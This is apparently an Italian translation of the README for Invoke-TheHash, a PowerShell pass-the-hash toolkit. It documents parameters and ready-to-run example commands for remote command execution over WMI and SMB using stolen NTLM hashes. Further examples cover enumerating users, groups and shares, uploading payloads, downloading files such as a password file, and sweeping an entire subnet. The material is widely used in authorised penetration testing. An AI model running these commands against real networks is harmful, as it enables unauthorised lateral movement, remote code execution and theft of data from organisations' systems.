Invoke-TheHash
Invoke-TheHash contiene funzioni PowerShell per eseguire attività pass the hash su WMI e SMB. Le connessioni WMI e SMB vengono effettuate tramite .NET TCPClient. L'autenticazione avviene passando un hash NTLM al protocollo di autenticazione NTLMv2. Non è richiesto il privilegio di amministratore locale sul lato client.
Requisiti
PowerShell 2.0 minimo
Importazione
Import-Module ./Invoke-TheHash.psd1
oppure
. ./Invoke-WMIExec.ps1
. ./Invoke-SMBExec.ps1
. ./Invoke-SMBEnum.ps1
. ./Invoke-SMBClient.ps1
. ./Invoke-TheHash.ps1
Funzioni
- Invoke-WMIExec
- Invoke-SMBExec
- Invoke-SMBEnum
- Invoke-SMBClient
- Invoke-TheHash
Invoke-WMIExec
- Funzione di esecuzione comandi tramite WMI.
Parametri:
- Target - Nome host o indirizzo IP del target.
- Username - Nome utente per l'autenticazione.
- Domain - Dominio per l'autenticazione. Questo parametro non è necessario con account locali o quando si utilizza @domain dopo il nome utente.
- Hash - Hash della password NTLM per l'autenticazione. Questa funzione accetta sia il formato LM:NTLM che NTLM.
- Command - Comando da eseguire sul target. Se non viene specificato un comando, la funzione si limita a verificare se l'utente e l'hash hanno accesso a WMI sul target.
- Sleep - Default = 10 Millisecondi: Imposta i valori Start-Sleep della funzione in millisecondi.
Esempio:
Invoke-WMIExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "comando o launcher da eseguire" -verbose
Screenshot:

Invoke-SMBExec
- Funzione di esecuzione comandi SMB (PsExec) che supporta SMB1, SMB2.1, con e senza firma SMB.
Parametri:
- Target - Nome host o indirizzo IP del target.
- Username - Nome utente per l'autenticazione.
- Domain - Dominio per l'autenticazione. Questo parametro non è necessario con account locali o quando si utilizza @domain dopo il nome utente.
- Hash - Hash della password NTLM per l'autenticazione. Questa funzione accetta sia il formato LM:NTLM che NTLM.
- Command - Comando da eseguire sul target. Se non viene specificato un comando, la funzione si limita a verificare se l'utente e l'hash hanno accesso a SCM sul target.
- CommandCOMSPEC - Default = Abilitato: Antepone %COMSPEC% /C al comando.
- Service - Default = 20 Caratteri Casuale: Nome del servizio da creare ed eliminare sul target.
- Sleep - Default = 150 Millisecondi: Imposta i valori Start-Sleep della funzione in millisecondi.
- Version - Default = Auto: (Auto,1,2.1) Forza la versione SMB. Il comportamento predefinito è eseguire la negoziazione della versione SMB e utilizzare SMB2.1 se supportato dal target.
Esempio:
Invoke-SMBExec -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "comando o launcher da eseguire" -verbose
Esempio:
Verifica i requisiti di firma SMB sul target.
Invoke-SMBExec -Target 192.168.100.20
Screenshot:

Invoke-SMBEnum
- Invoke-SMBEnum esegue attività di enumerazione di utenti, gruppi, sessioni NetSession e condivisioni su SMB2.1 con e senza firma SMB.
Parametri:
- Target - Nome host o indirizzo IP del target.
- Username - Nome utente per l'autenticazione.
- Domain - Dominio per l'autenticazione. Questo parametro non è necessario con account locali o quando si utilizza @domain dopo il nome utente.
- Hash - Hash della password NTLM per l'autenticazione. Questa funzione accetta sia il formato LM:NTLM che NTLM.
- Action - (All,Group,NetSession,Share,User) Default = Share: Azione di enumerazione da eseguire.
- Group - Default = Administrators: Gruppo da enumerare.
- Sleep - Default = 150 Millisecondi: Imposta i valori Start-Sleep della funzione in millisecondi.
- Version - Default = Auto: (Auto,1,2.1) Forza la versione SMB. Il comportamento predefinito è eseguire la negoziazione della versione SMB e utilizzare SMB2.1 se supportato dal target. Nota: solo il controllo della firma funziona con SMB1.
Esempio:
Invoke-SMBEnum -Target 192.168.100.20 -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -verbose
Screenshot:

Invoke-SMBClient
- Funzione client SMB che supporta SMB2.1 e la firma SMB. Questa funzione fornisce principalmente funzionalità di condivisione file SMB per lavorare con hash che non dispongono di privilegi di esecuzione remota dei comandi. Questa funzione può anche essere utilizzata per preparare payload da utilizzare con Invoke-WMIExec e Invoke-SMBExec. Nota: Invoke-SMBClient è basato su .NET TCPClient e non utilizza il client SMB di Windows. Invoke-SMBClient è molto più lento del client Windows.
Parametri:
- Username - Nome utente per l'autenticazione.
- Domain - Dominio per l'autenticazione. Questo parametro non è necessario con account locali o quando si utilizza @domain dopo il nome utente.
- Hash - Hash della password NTLM per l'autenticazione. Questa funzione accetta sia il formato LM:NTLM che NTLM.
- Action - Default = List: (List/Recurse/Delete/Get/Put) Azione da eseguire.
-
- List: Elenca il contenuto di una directory.
-
- Recurse: Elenca il contenuto di una directory e di tutte le sottodirectory.
-
-
-
- Put: Carica un file e imposta i tempi di creazione, accesso e ultima scrittura in modo che corrispondano al file sorgente.
- Source
-
- List e Recurse: Percorso UNC di una directory.
-
- Delete: Percorso UNC di un file.
-
- Get: Percorso UNC di un file.
-
- Put: File da caricare. Se non viene specificato un percorso completo, il file deve trovarsi nella directory corrente. Quando si utilizza l'opzione 'Modify', 'Source' deve essere un array di byte.
- Destination
-
- List e Recurse: Non utilizzato.
-
-
- Get: Se utilizzato, il valore sarà il nuovo nome del file scaricato. Se non viene specificato un percorso completo, il file verrà creato nella directory corrente.
-
- Put: Percorso UNC per il file caricato. Il nome del file deve essere specificato.
- Modify
-
- List e Recurse: La funzione restituirà un oggetto composto dal contenuto della directory.
-
-
- Get: La funzione restituirà un array di byte del file scaricato invece di scrivere il file su disco. È consigliabile utilizzarlo solo con file più piccoli e inviare l'output a una variabile.
-
- Put: Carica un array di byte in un nuovo file di destinazione.
Esempio:
Elenca il contenuto di una directory root di una condivisione.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Source \\server\share -verbose
Esempio:
Elenca ricorsivamente il contenuto di una condivisione a partire dalla root.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share
Esempio:
Elenca ricorsivamente il contenuto di una sottodirectory di una condivisione e restituisce solo il contenuto in una variabile.
$directory_contents = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Recurse -Source \\server\share\subdirectory -Modify
Esempio:
Elimina un file su una condivisione.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\file.txt
Esempio:
Elimina un file in sottodirectory all'interno di una condivisione.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Delete -Source \\server\share\subdirectory\subdirectory\file.txt
Esempio:
Scarica un file da una condivisione.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt
Esempio:
Scarica un file da una sottodirectory di una condivisione e imposta un nuovo nome file.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\subdirectory\file.txt -Destination file.txt
Esempio:
Scarica un file da una condivisione in una variabile array di byte invece che su disco.
$password_file = Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Get -Source \\server\share\file.txt -Modify
Esempio:
Carica un file in una sottodirectory di una condivisione.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source file.exe -Destination \\server\share\subdirectory\file.exe
Esempio:
Carica un file su una condivisione a partire da una variabile array di byte.
Invoke-SMBClient -Domain TESTDOMAIN -Username TEST -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Action Put -Source $file_byte_array -Destination \\server\share\file.txt -Modify
Screenshot:

Invoke-TheHash
- Funzione per eseguire le funzioni di Invoke-TheHash su più target.
Parametri:
- Type - Imposta la funzione Invoke-TheHash desiderata. Impostare su SMBClient, SMBEnum, SMBExec o WMIExec.
- Target - Elenco di nomi host, indirizzi IP, notazione CIDR o intervalli IP per i target.
- TargetExclude - Elenco di nomi host, indirizzi IP, notazione CIDR o intervalli IP da escludere dall'elenco o dai target.
- PortCheckDisable - (Switch) Disabilita il controllo della porta WMI o SMB. Poiché questa funzione non è ancora multithread, il controllo della porta serve ad accelerare la funzione verificando la presenza di una porta WMI o SMB aperta prima di tentare una connessione TCPClient sincrona completa.
- PortCheckTimeout - Default = 100: Imposta il timeout di mancata risposta in millisecondi per il controllo della porta WMI o SMB.
- Username - Nome utente per l'autenticazione.
- Domain - Dominio per l'autenticazione. Questo parametro non è necessario con account locali o quando si utilizza @domain dopo il nome utente.
- Hash - Hash della password NTLM per l'autenticazione. Questo modulo accetta sia il formato LM:NTLM che NTLM.
- Command - Comando da eseguire sul target. Se non viene specificato un comando, la funzione si limita a verificare se l'utente e l'hash hanno accesso a WMI o SCM sul target.
- CommandCOMSPEC - Default = Abilitato: Solo tipo SMBExec. Antepone %COMSPEC% /C al comando.
- Service - Default = 20 Caratteri Casuale: Solo tipo SMBExec. Nome del servizio da creare ed eliminare sul target.
- SMB1 - (Switch) Forza SMB1. Solo tipo SMBExec. Il comportamento predefinito è eseguire la negoziazione della versione SMB e utilizzare SMB2 se supportato dal target.
- Sleep - Default = WMI 10 Millisecondi, SMB 150 Millisecondi: Imposta i valori Start-Sleep della funzione in millisecondi.
Esempio:
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
Screenshot:
